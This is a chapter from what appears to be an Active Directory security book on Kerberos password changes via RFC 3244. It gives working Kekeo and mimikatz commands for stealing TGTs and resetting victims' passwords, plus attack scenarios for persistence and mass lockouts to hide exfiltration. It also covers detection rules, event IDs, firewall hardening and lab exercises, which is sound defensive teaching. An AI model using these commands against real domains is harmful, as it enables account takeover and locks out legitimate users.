Chapter 27: Kerberos Password Change

Introduction

We usually think of Kerberos as a way to get access, but it’s also a way to get control. Most people don't realize that you can change a user's password using nothing but a valid Kerberos ticket—no current password required. Microsoft implemented this through an extension called RFC 3244, and it’s a fascinating look at how the protocol trusts an authenticated identity.

The logic is simple: if you have a valid "initial" TGT, the domain believes you are who you say you are. Therefore, it allows you to set a new password for your account. From an attacker's perspective, this is a powerful move for persistence or even denial of service, though it’s incredibly noisy. From a defender's perspective, this is one of those "hidden" protocol features that you absolutely must monitor.

While Kerberos v5 (RFC 4120) does not natively support password changes, Microsoft extended the protocol with RFC 3244 to enable password modification via Kerberos authentication. This extension allows users to change their passwords using only a valid Ticket Granting Ticket (TGT), without requiring knowledge of the current password.

This chapter explores the technical implementation of RFC 3244 in Microsoft Active Directory, the usage of Kekeo's misc::changepw command, the requirements and limitations of Kerberos password changes, detection strategies, and defensive countermeasures.

RFC 3244: Kerberos Password Change Protocol

Protocol Overview

RFC 3244 defines "Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols" as an extension to Kerberos v5. The protocol operates over UDP port 464 or TCP port 464 on the domain controller.

Key Components:

Change Password Request:

KRB_PRIV message containing:

  - Protocol version (0x0001)
  - User's TGT as authenticator
  - New password (encrypted)
  - Optional password policy information

Change Password Response:

KRB_PRIV message containing:

  - Result code
  - Result string (error message or success)
  - Optional policy information (minimum length, complexity requirements)

Protocol Flow:

Client (Kekeo)               Domain Controller (KDC)
     |                              |
     |---(1) KRB_AP_REQ------------>|
     |    (Contains TGT)            |
     |                              |
     |---(2) Password Change Req--->|
     |    (Encrypted with session   |
     |     key from TGT)            |
     |                              |
     |                              | (3) Validates TGT
     |                              | (4) Checks password policy
     |                              | (5) Updates AD password
     |                              |
     |<---(6) Password Change Rep---| 
     |    (Success or error code)   |

Authentication Mechanism

The password change protocol uses the TGT's session key for encryption:

Client presents TGT: The TGT proves the user's identity
Extract session key: KDC decrypts TGT (using krbtgt hash) and obtains session key
Decrypt password change request: New password encrypted with session key
Validate and update: KDC validates policies and updates password in Active Directory

Security Note: The new password is transmitted encrypted with the TGT session key, not the old password. This means possession of a valid TGT is sufficient to change the password without knowing the current password.

Port 464: Kerberos Password Change

Service Details:

Port: 464/UDP and 464/TCP
Service Name: kpasswd (Kerberos Password Change)
Protocol: KRB_PRIV messages over TCP or UDP
Typical Communication: UDP preferred, TCP used for large messages or reliability

Network Characteristics:

Source: Client IP (e.g., 10.1.1.50)
Source Port: Random high port (e.g., 54321)
Destination: Domain Controller IP (e.g., 10.1.1.4)
Destination Port: 464/UDP or 464/TCP
Protocol: Kerberos Change Password (RFC 3244)

Firewall Considerations: Organizations that block outbound port 464 will prevent Kerberos password changes, forcing users to use traditional password change methods (which validate the old password).

The misc::changepw Command

Command Syntax

misc::changepw /tgt:<ticket_file_or_base64> /new:<new_password>

Parameters:

/tgt:<path> - Path to TGT .kirbi file or base64-encoded TGT
- Can specify file path: /tgt:C:\tickets\alice_tgt.kirbi
- Can provide base64 string (after base64 /in:true)
/new:<password> - New password to set for the account
- Must meet domain password complexity requirements
- Must not violate password history policy
- Must respect minimum password age

Requirements:

Initial TGT: The TGT must have the initial flag set
- Obtained through direct authentication (AS-REQ/AS-REP)
- Delegated tickets (with forwarded flag) will be rejected
- Renewed tickets maintain initial flag if original was initial
Valid TGT: Ticket must not be expired
- Current time < EndTime
- Current time within ticket validity window
Network Connectivity: Client must reach KDC on port 464
- UDP 464 or TCP 464
- Typically the same domain controller that issued the TGT

Usage Example: Successful Password Change

Step 1: Obtain Initial TGT

kekeo # tgt::ask /user:alice /password:OldPassword123! /domain:corp.local
Realm        : corp.local (CORP)
User         : alice (alice)
CName        : alice    [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/corp.local      [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt): fc525c9683e8fe067095ba2ddc971889
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
  > Ticket in file 'TGT_alice@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'

Step 2: Change Password with TGT

kekeo # misc::changepw /tgt:TGT_alice@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi /new:NewPassword456!
Ticket  : TGT_alice@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi
  [krb-cred]     S: krbtgt/corp.local @ CORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: alice @ CORP.LOCAL
  [enc-krb-cred] S: krbtgt/corp.local @ CORP.LOCAL
  [enc-krb-cred] T: [11/30/2024 4:17:26 PM ; 12/1/2024 2:17:26 AM] {R:12/7/2024 4:17:26 PM}
  [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): c1a2b3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
[changepw] version  : 0x0001 (1)
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
[changepw] OK

Observations:

TGT has initial flag (required for password change)
Session key visible (needed for encrypting password change request)
KDC automatically discovered (dc01.corp.local at 10.1.1.4)
Change password protocol version 1 (0x0001)
Result: OK - password successfully changed

Step 3: Verify Password Change

C:\> runas /user:alice@corp.local cmd.exe
Enter password for alice@corp.local: NewPassword456!

Or request new TGT:

kekeo # tgt::ask /user:alice /password:NewPassword456! /domain:corp.local
...
[kdc] name: dc01.corp.local (auto)
  > Ticket in file 'TGT_alice@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'

Usage Example: Delegated Ticket Rejection

Attempt with Delegated TGT:

kekeo # tgt::deleg
Service: HOST/dc01.corp.local
Client : alice
> alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_delegate.kirbi -> OK

kekeo # misc::changepw /tgt:alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_delegate.kirbi /new:NewPassword789!
Ticket  : alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_delegate.kirbi
  [krb-cred]     S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: alice @ CORP.LOCAL
  [enc-krb-cred] S: krbtgt/CORP.LOCAL @ CORP.LOCAL
  [enc-krb-cred] T: [11/30/2024 3:31:47 PM ; 11/30/2024 8:07:37 PM] {R:12/7/2024 10:07:37 AM}
  [enc-krb-cred] F: [60a10000] name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
[changepw] version  : 0x0001 (1)
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
[changepw] KRB5_KPASSWD_MALFORMED (1)

Key Observations:

TGT has forwarded flag (delegated ticket)
Missing initial flag
Result: KRB5_KPASSWD_MALFORMED - request rejected
Error code 1: Malformed request (delegated tickets not allowed)

RFC 3244 Error Codes:

0 - KRB5_KPASSWD_SUCCESS
1 - KRB5_KPASSWD_MALFORMED
2 - KRB5_KPASSWD_HARDERROR
3 - KRB5_KPASSWD_AUTHERROR
4 - KRB5_KPASSWD_SOFTERROR
5 - KRB5_KPASSWD_ACCESSDENIED
6 - KRB5_KPASSWD_BAD_VERSION
7 - KRB5_KPASSWD_INITIAL_FLAG_NEEDED

Password Policy Enforcement

Domain Password Policies

The KDC enforces all configured password policies when processing password change requests.

Default Domain Password Policy:

Computer Configuration → Policies → Windows Settings → Security Settings
→ Account Policies → Password Policy

- Enforce password history: 24 passwords remembered
- Maximum password age: 42 days
- Minimum password age: 1 day
- Minimum password length: 7 characters
- Password must meet complexity requirements: Enabled

Complexity Requirements:

At least 6 characters
Does not contain user's account name or full name
Contains characters from at least 3 of 4 categories:
- Uppercase letters (A-Z)
- Lowercase letters (a-z)
- Digits (0-9)
- Special characters (!, @, #, $, %, etc.)

Password Change Attempt with Policy Violation

Example: Password Too Short

kekeo # misc::changepw /tgt:alice_tgt.kirbi /new:Pass1
...
[changepw] KRB5_KPASSWD_SOFTERROR (4)
[changepw] Error: The password does not meet the password policy requirements. Check the minimum password length, password complexity and password history requirements.

Example: Password in History

kekeo # misc::changepw /tgt:alice_tgt.kirbi /new:OldPassword123!
...
[changepw] KRB5_KPASSWD_SOFTERROR (4)
[changepw] Error: The password does not meet the password policy requirements. Check the minimum password length, password complexity and password history requirements.

Example: Minimum Password Age Not Met

kekeo # misc::changepw /tgt:alice_tgt.kirbi /new:ValidComplexPassword123!
...
[changepw] KRB5_KPASSWD_SOFTERROR (4)
[changepw] Error: Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirement of the domain.

If minimum password age is 1 day and alice changed password 6 hours ago, another change is blocked until 24 hours pass.

Fine-Grained Password Policies

Organizations using Fine-Grained Password Policies (FGPP) can have different policies per user/group.

Example FGPP for Administrators:

powershell

New-ADFineGrainedPasswordPolicy -Name "Admin Policy" `
  -Precedence 10 `
  -ComplexityEnabled $true `
  -MinPasswordLength 14 `
  -PasswordHistoryCount 48 `
  -MinPasswordAge 2.00:00:00 `
  -MaxPasswordAge 30.00:00:00

Add-ADFineGrainedPasswordPolicySubject -Identity "Admin Policy" -Subjects "Domain Admins"

When alice (a Domain Admin) attempts password change, the stricter "Admin Policy" is enforced:

Minimum 14 characters (vs. 7 default)
48 password history (vs. 24 default)
2-day minimum age (vs. 1 day default)

The KDC automatically applies the correct policy based on user's group memberships.

Attack Scenarios

Scenario 1: Persistence via Password Change

Context: Attacker compromised workstation, extracted alice's TGT, wants persistent access.

Attack Flow:

Step 1: Extract TGT

# On compromised workstation
mimikatz # sekurlsa::tickets /export
...
> Saved to file: 0-123456-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi

Step 2: Change alice's Password

# On attacker system
kekeo # misc::changepw /tgt:alice_tgt.kirbi /new:AttackerControlled123!
[changepw] OK

Step 3: Legitimate User Locked Out

# alice tries to log on with her password
Login failed: Incorrect password

Step 4: Attacker Maintains Access

# Attacker can now authenticate as alice using new password
C:\> runas /user:corp\alice cmd.exe
Enter password: AttackerControlled123!

Impact:

Legitimate user locked out (must call helpdesk)
Attacker maintains access even if original compromise vector is patched
Generates helpdesk tickets (may alert defenders)
Password change logged (Event ID 4724)

Operational Consideration: This technique is noisy and disruptive. Legitimate user will immediately notice and report password issues, triggering investigation. Generally avoided in stealthy operations.

Scenario 2: Covering Tracks After Compromise

Context: Attacker completed objectives, wants to cause confusion during investigation.

Attack Flow:

Step 1: Complete Primary Objectives

# Data exfiltration, privilege escalation, etc. already done

Step 2: Change Multiple User Passwords

kekeo # misc::changepw /tgt:alice_tgt.kirbi /new:RandomPass1!
kekeo # misc::changepw /tgt:bob_tgt.kirbi /new:RandomPass2!
kekeo # misc::changepw /tgt:charlie_tgt.kirbi /new:RandomPass3!

Step 3: Chaos and Confusion

# Multiple users locked out simultaneously
# Helpdesk overwhelmed
# Incident response focused on password issues
# Actual data exfiltration may go unnoticed initially

Scenario 3: Demonstrating TGT Value in Assessment

Context: Red team penetration test, demonstrating impact of credential theft.

Attack Flow:

Step 1: Extract Test User TGT

# Extract TGT for test account "testuser"
sekurlsa::tickets /export

Step 2: Change Password to Demonstrate Control

kekeo # misc::changepw /tgt:testuser_tgt.kirbi /new:RedTeamControl123!
[changepw] OK

Step 3: Document in Report

Finding: Stolen Kerberos Tickets Can Modify User Accounts
Severity: High
Evidence: Successfully changed testuser password using stolen TGT
Impact: Account takeover, persistent access, denial of service

Step 4: Restore Access

# Reset password to original (or notify blue team for reset)

This demonstrates to stakeholders that ticket theft is not just about data access but complete account control.

Detection Strategies

Event ID 4724: Password Reset

When a password is changed via Kerberos, Event ID 4724 is logged on the domain controller.

Event Details:

xml

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>4724</EventID>
  </System>
  <EventData>
    <Data Name="TargetUserName">alice</Data>
    <Data Name="TargetDomainName">CORP</Data>
    <Data Name="TargetSid">S-1-5-21-...-1001</Data>
    <Data Name="SubjectUserSid">S-1-5-21-...-1001</Data>
    <Data Name="SubjectUserName">alice</Data>
    <Data Name="SubjectDomainName">CORP</Data>
    <Data Name="SubjectLogonId">0x123456</Data>
  </EventData>
</Event>

Key Fields:

TargetUserName: Account whose password was changed (alice)
SubjectUserName: Account that performed the change (alice)
Note: Subject and Target are the same for self-service password change

Detection Logic:

IF Event ID 4724:
  IF TargetUserName == SubjectUserName:
    # Self-service password change
    IF time NOT IN user_normal_hours:
      ALERT("After-hours password change")
    IF source_ip NOT IN user_normal_locations:
      ALERT("Password change from unusual location")

Event ID 4738: User Account Changed

Alternative/additional event when password is modified:

xml

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>4738</EventID>
  </System>
  <EventData>
    <Data Name="TargetUserName">alice</Data>
    <Data Name="PasswordLastSet">11/30/2024 4:17:26 PM</Data>
  </EventData>
</Event>

Correlation: Correlate Event ID 4724 + 4738 within seconds for complete password change audit trail.

Network Traffic Analysis (Port 464)

Sysmon Event ID 3: Network Connection to Port 464

xml

<RuleGroup name="Kerberos Password Change Detection" groupRelation="or">
  <NetworkConnect onmatch="include">
    <DestinationPort condition="is">464</DestinationPort>
    <Image condition="is not">C:\\Windows\\System32\\lsass.exe</Image>
  </NetworkConnect>
</RuleGroup>

Event Example:

xml

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <EventID>3</EventID>
  </System>
  <EventData>
    <Data Name="Image">C:\\Tools\\kekeo.exe</Data>
    <Data Name="User">CORP\\attacker</Data>
    <Data Name="Protocol">udp</Data>
    <Data Name="SourceIp">10.1.1.50</Data>
    <Data Name="SourcePort">54321</Data>
    <Data Name="DestinationIp">10.1.1.4</Data>
    <Data Name="DestinationPort">464</Data>
  </EventData>
</Event>

Detection Logic:

Alert on Sysmon Event ID 3 WHERE:

- DestinationPort = 464
- Image != "C:\\Windows\\System32\\lsass.exe"

Rationale: In normal Windows environments, only LSASS.exe connects to port 464 for password changes. Any other process (kekeo.exe, custom scripts) indicates anomalous behavior.

Firewall Logs

If port 464 is restricted, firewall logs capture connection attempts:

Date: 11/30/2024 16:17:26
Action: Allow
Protocol: UDP
Source: 10.1.1.50:54321
Destination: 10.1.1.4:464
Application: C:\\Tools\\kekeo.exe

Baseline and Alert:

Baseline normal port 464 traffic sources (should be minimal)
Alert on new sources connecting to port 464
Alert on high volume of port 464 connections

Behavioral Analytics

Pattern Detection:

Normal Password Change:

User calls helpdesk
Helpdesk resets password (Event ID 4724 with admin as Subject)
User logs on with temporary password
User self-changes password (Event ID 4724 with user as Subject)
Single password change event

Anomalous Password Change:

No helpdesk ticket
Password change at odd hours (2 AM)
Multiple password changes for same user in short timeframe
Password changes for multiple users simultaneously
Source IP not matching user's assigned workstation

SIEM Correlation Rule:

IF Event ID 4724 (password change):
  user = TargetUserName
  time = TimeCreated

  IF NOT EXISTS helpdesk_ticket(user, time +/- 1 hour):
    IF time NOT IN business_hours:
      ALERT("Suspicious password change: No ticket, after hours")

  IF COUNT(Event ID 4724 for user within 24 hours) > 2:
    ALERT("Multiple password changes for single user")

  IF COUNT(Event ID 4724 within 5 minutes) > 5:
    ALERT("Mass password change event")

Defensive Strategies

Block Port 464 for Non-LSASS Processes

Windows Firewall Rule:

powershell

New-NetFirewallRule -DisplayName "Block Port 464 Except LSASS" `
  -Direction Outbound `
  -Action Block `
  -Protocol UDP `
  -RemotePort 464 `
  -Program "*" `
  -Enabled True

New-NetFirewallRule -DisplayName "Allow LSASS Port 464" `
  -Direction Outbound `
  -Action Allow `
  -Protocol UDP `
  -RemotePort 464 `
  -Program "C:\\Windows\\System32\\lsass.exe" `
  -Enabled True

Effect:

Only LSASS can connect to port 464
Kekeo misc::changepw fails with network error
Legitimate password changes via Windows UI/CTRL+ALT+DEL work normally

Enforce Minimum Password Age

Group Policy:

Computer Configuration → Policies → Windows Settings → Security Settings
→ Account Policies → Password Policy
→ Minimum password age: 1 day (or more)

Effect:

Users cannot change passwords more than once per day
Limits attacker's ability to repeatedly change passwords
Reduces effectiveness of password change as persistence mechanism

Trade-off: May inconvenience users who genuinely need to change compromised passwords immediately.

Monitor and Alert on Password Changes

Real-Time Monitoring:

1. Configure SIEM to ingest Event ID 4724, 4738 from all DCs
2. Create alerts for:

   - Password changes outside business hours
   - Multiple password changes within 24 hours
   - Password changes from unusual IP addresses
   - Password changes without corresponding helpdesk tickets
3. Automated response:

   - Lock account temporarily
   - Notify user via SMS/email
   - Alert SOC for investigation

Alert Example:

ALERT: Unusual Password Change Detected
User: alice
Time: 2024-11-30 02:17:26 (Outside business hours)
Source IP: 10.1.1.78 (Unknown, not alice's assigned workstation)
Recommended Action: Contact user, investigate for compromise

Deploy Sysmon with Port 464 Monitoring

Sysmon Configuration:

xml

<Sysmon schemaversion="4.50">
  <EventFiltering>
    <NetworkConnect onmatch="include">
      <DestinationPort condition="is">464</DestinationPort>
    </NetworkConnect>
  </EventFiltering>
</Sysmon>

SIEM Rule:

spl

index=windows EventCode=3 DestinationPort=464 Image!="*lsass.exe"
| table _time, ComputerName, User, Image, SourceIp, DestinationIp
| eval severity="HIGH"

Implement Fine-Grained Password Policies

Stricter Policies for Privileged Accounts:

powershell

New-ADFineGrainedPasswordPolicy -Name "Privileged Accounts Policy" `
  -Precedence 1 `
  -ComplexityEnabled $true `
  -MinPasswordLength 16 `
  -PasswordHistoryCount 48 `
  -MinPasswordAge 7.00:00:00 `
  -MaxPasswordAge 60.00:00:00

Add-ADFineGrainedPasswordPolicySubject -Identity "Privileged Accounts Policy" `
  -Subjects "Domain Admins","Enterprise Admins","Schema Admins"

Effect:

Privileged accounts have 7-day minimum password age
Attackers using stolen TGTs cannot change admin passwords for 7 days
Provides time window for detection and response

User Education and Awareness

Train users to:

Report unexpected password change notifications
Contact helpdesk immediately if unable to log on
Never ignore password change confirmations

Automated Notifications:

When Event ID 4724 is logged:

- Send email to user: "Your password was just changed. If this was not you, contact security immediately."
- Send SMS: "Password change detected for your account. Reply HELP if unauthorized."

Early Warning: Users who did not initiate password change will report immediately, enabling rapid incident response.

Practical Exercises

Exercise 1: Kerberos Password Change

Objective: Perform password change using Kerberos TGT.

Prerequisites:

Lab domain with test user account
Kekeo
Network access to DC on port 464

Steps:

Obtain Initial TGT

kekeo # tgt::ask /user:testuser /password:OldPassword123! /domain:lab.local
- Verify TGT has "initial" flag

Change Password

kekeo # misc::changepw /tgt:testuser_tgt.kirbi /new:NewPassword456!
- Observe: [changepw] OK

Verify Password Change

# Attempt logon with old password (should fail)
runas /user:testuser@lab.local cmd.exe
Enter password: OldPassword123!
[ERROR]

# Attempt logon with new password (should succeed)
runas /user:testuser@lab.local cmd.exe
Enter password: NewPassword456!
[SUCCESS]

Review Event Logs

- DC Security Log: Event ID 4724
- Verify TargetUserName = testuser
- Note timestamp

Questions:

What flag must the TGT have for password change to work?
What error occurs if you use a delegated TGT?
What Event ID is logged on the domain controller?

Exercise 2: Detection Configuration

Objective: Configure detection for Kerberos password changes.

Prerequisites:

Lab domain controller
Sysmon installed on workstation
SIEM or Windows Event Forwarding

Steps:

Configure Sysmon for Port 464

xml

<NetworkConnect onmatch="include">
  <DestinationPort condition="is">464</DestinationPort>
</NetworkConnect>

Create Baseline

- Perform legitimate password change via CTRL+ALT+DEL
- Verify Sysmon Event ID 3: lsass.exe → DC:464
- Document expected behavior

Execute Kerberos Password Change

kekeo # misc::changepw /tgt:testuser_tgt.kirbi /new:TestPassword789!

Analyze Detection Data

Sysmon Event ID 3:

- Image: C:\\Tools\\kekeo.exe (ANOMALOUS)
- DestinationPort: 464
- DestinationIp: <DC IP>

DC Event ID 4724:

- TargetUserName: testuser
- SubjectUserName: testuser

Create Detection Rule

spl

index=windows EventCode=3 DestinationPort=464 Image!="*lsass.exe"
| stats count by Image, User, DestinationIp
| where count > 0

Deliverable: Working detection rule that alerts on non-LSASS port 464 connections.

Exercise 3: Defensive Hardening

Objective: Implement defenses against Kerberos password change abuse.

Prerequisites:

Lab domain with admin rights
Test user accounts

Steps:

Set Minimum Password Age

Group Policy Editor:
→ Account Policies → Password Policy
→ Minimum password age: 1 day

Create Firewall Rule

powershell

New-NetFirewallRule -DisplayName "Block Port 464 Non-LSASS" `
  -Direction Outbound -Action Block -Protocol UDP -RemotePort 464 `
  -Program "*" -Enabled True

New-NetFirewallRule -DisplayName "Allow LSASS 464" `
  -Direction Outbound -Action Allow -Protocol UDP -RemotePort 464 `
  -Program "C:\\Windows\\System32\\lsass.exe" -Enabled True

Test Legitimate Password Change

- Press CTRL+ALT+DEL → Change Password
- Verify: Works normally (LSASS allowed)

Test Kekeo Password Change

kekeo # misc::changepw /tgt:testuser_tgt.kirbi /new:BlockedPassword!
- Verify: Fails with network error (port 464 blocked)

Test Minimum Password Age

- Change testuser password via CTRL+ALT+DEL
- Immediately attempt another change
- Verify: Blocked due to minimum age policy

Expected Results:

Legitimate password changes work
Kekeo password changes blocked by firewall
Rapid password changes blocked by minimum age policy

Summary

Kerberos-based password changes, enabled through Microsoft's implementation of RFC 3244, provide a convenient mechanism for users to modify their passwords using only a valid TGT without requiring knowledge of the current password. While designed for legitimate administrative purposes, this capability presents both opportunities and risks in security contexts.

Key Technical Points:

RFC 3244 Extension: Microsoft extended Kerberos v5 with password change functionality via KRB_PRIV messages over port 464 (UDP/TCP), allowing authenticated users to change passwords using TGT session keys.
Initial Flag Requirement: Only TGTs with the initial flag can change passwords; delegated or forwarded TGTs are rejected with KRB5_KPASSWD_MALFORMED, ensuring only directly authenticated users can modify passwords.
Policy Enforcement: The KDC enforces all domain password policies including complexity, history, and minimum age requirements, preventing simple policy bypass through Kerberos password changes.
Kekeo Implementation: The misc::changepw command leverages valid TGTs to send password change requests, demonstrating that stolen tickets enable not only resource access but also account manipulation.
Detection Vectors: Primary detection relies on Event ID 4724 (password change), Event ID 4738 (account modified), Sysmon Event ID 3 (non-LSASS connections to port 464), and behavioral analytics for after-hours or anomalous password changes.
Defensive Controls: Blocking port 464 for non-LSASS processes, enforcing minimum password age, monitoring password change events, and deploying fine-grained password policies for privileged accounts all mitigate abuse.

Operational Considerations:

For offensive practitioners, Kerberos password changes:

Enable account takeover using only stolen TGTs
Provide persistence mechanism (though noisy and disruptive)
Demonstrate full account control during assessments
May cause operational disruption (user lockout triggers investigation)

For defensive teams, protection requires:

Firewall rules restricting port 464 to LSASS only
Real-time monitoring of Event ID 4724 and 4738
Sysmon detection of non-LSASS port 464 connections
Behavioral analytics for anomalous password change patterns
User education and automated notifications of password changes
Incident response procedures for unexplained password modifications

Strategic Importance:

Kerberos password changes illustrate that credential theft impacts extend beyond unauthorized access—stolen tickets can modify accounts, potentially locking out legitimate users or establishing persistence. Organizations must recognize that ticket protection is as critical as password protection, as both enable account compromise.

The noisy nature of password changes (generating multiple event logs and user complaints) makes this technique generally unsuitable for stealthy operations but valuable for red team assessments demonstrating the full impact of credential compromise. Defensive detection is relatively straightforward through network monitoring (port 464 anomalies) and event log analysis (unexpected password changes), making this a good candidate for early detection in the attack chain.

Understanding Kerberos password change mechanisms helps both offensive and defensive practitioners appreciate the full capabilities provided by stolen TGTs, informing better attack strategies (when authorized) and more comprehensive defensive monitoring and hardening.

Previous Chapter: Chapter 26: Pass-The-Ticket

Next Chapter: Chapter 28: Over-Pass-The-Hash

Related Chapters:

Chapter 25: Kerberos Tickets - Ticket operations and management
Chapter 21: LSASS Change and Reset Password - NTLM-based password changes
Chapter 24: Kerberos Overview - Kerberos protocol fundamentals
Chapter 30: Golden Ticket - Forging TGTs for persistence

Chapter 27: Kerberos Password Change ​

Introduction ​

RFC 3244: Kerberos Password Change Protocol ​

Protocol Overview ​

Authentication Mechanism ​

Port 464: Kerberos Password Change ​

The misc::changepw Command ​

Command Syntax ​

Usage Example: Successful Password Change ​

Usage Example: Delegated Ticket Rejection ​

Password Policy Enforcement ​

Domain Password Policies ​

Password Change Attempt with Policy Violation ​

Fine-Grained Password Policies ​

Attack Scenarios ​

Scenario 1: Persistence via Password Change ​

Scenario 2: Covering Tracks After Compromise ​

Scenario 3: Demonstrating TGT Value in Assessment ​

Detection Strategies ​

Event ID 4724: Password Reset ​

Event ID 4738: User Account Changed ​

Network Traffic Analysis (Port 464) ​

Firewall Logs ​

Behavioral Analytics ​

Defensive Strategies ​

Block Port 464 for Non-LSASS Processes ​

Enforce Minimum Password Age ​

Monitor and Alert on Password Changes ​

Deploy Sysmon with Port 464 Monitoring ​

Implement Fine-Grained Password Policies ​

User Education and Awareness ​

Practical Exercises ​

Exercise 1: Kerberos Password Change ​

Exercise 2: Detection Configuration ​

Exercise 3: Defensive Hardening ​

Summary ​

Chapter 27: Kerberos Password Change

Introduction

RFC 3244: Kerberos Password Change Protocol

Protocol Overview

Authentication Mechanism

Port 464: Kerberos Password Change

The misc::changepw Command

Command Syntax

Usage Example: Successful Password Change

Usage Example: Delegated Ticket Rejection

Password Policy Enforcement

Domain Password Policies

Password Change Attempt with Policy Violation

Fine-Grained Password Policies

Attack Scenarios

Scenario 1: Persistence via Password Change

Scenario 2: Covering Tracks After Compromise

Scenario 3: Demonstrating TGT Value in Assessment

Detection Strategies

Event ID 4724: Password Reset

Event ID 4738: User Account Changed

Network Traffic Analysis (Port 464)

Firewall Logs

Behavioral Analytics

Defensive Strategies

Block Port 464 for Non-LSASS Processes

Enforce Minimum Password Age

Monitor and Alert on Password Changes

Deploy Sysmon with Port 464 Monitoring

Implement Fine-Grained Password Policies

User Education and Awareness

Practical Exercises

Exercise 1: Kerberos Password Change

Exercise 2: Detection Configuration

Exercise 3: Defensive Hardening

Summary